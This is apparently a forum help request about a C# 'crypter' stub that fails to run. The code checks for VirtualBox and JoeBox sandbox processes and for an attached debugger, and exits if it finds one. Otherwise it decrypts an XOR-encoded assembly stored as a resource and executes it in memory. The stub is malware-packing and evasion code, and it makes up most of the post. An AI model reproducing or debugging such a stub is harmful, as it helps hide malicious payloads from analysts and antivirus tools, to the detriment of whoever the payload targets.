The build is anycpu on codedom:
When i crypt it with a test application, it has the waiting 'blue loading ring' then it stops and does nothing ..
the stub was fairly big
even with a small one it does that
Code
using System.Text;
using System.Reflection;
using System.Diagnostics;
using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Resources;
using System.ComponentModel;
namespace S2
{
[EditorBrowsable(EditorBrowsableState.Never)]
static class Program
{
static Mutex _m;
[DebuggerHidden] [EditorBrowsable(EditorBrowsableState.Never)]
static bool VM()
{
foreach (Process process in Process.GetProcesses())
{
switch (process.ProcessName.ToLower())
{
case "vboxservice.exe":
return true;
case "joeboxserver.exe":
return true;
case "joeboxcontrol.exe":
return true;
case "vboxtray.exe":
return true;
}
}
return false;
}
public static byte[] XOR(byte[] strng, byte[] key)
{
int string_len = strng.Length;
int key_length = key.Length;
int i, position;
for (i = 0; i < string_len; i++)
{
position = i % key_length;
strng[i] = Convert.ToByte(strng[i] ^ key[position]);
}
return strng;
}
[STAThread]
[DebuggerHidden] [EditorBrowsable(EditorBrowsableState.Never)]
static void Main()
{
if (Convert.ToBoolean(Mutex.OpenExisting("PERL")) == true || VM() == true || Debugger.IsAttached == true)
{
Environment.Exit(0);
}
else
{
_m = new Mutex(true, "PERL");
Assembly a = Assembly.Load(XOR((byte[])new ResourceManager("res",
Assembly.GetExecutingAssembly()).GetObject("obj"), Encoding.ASCII.GetBytes("abc123"))); a.EntryPoint.Invoke(null, null);
}
}
}
}When i crypt it with a test application, it has the waiting 'blue loading ring' then it stops and does nothing ..
the stub was fairly big
even with a small one it does that


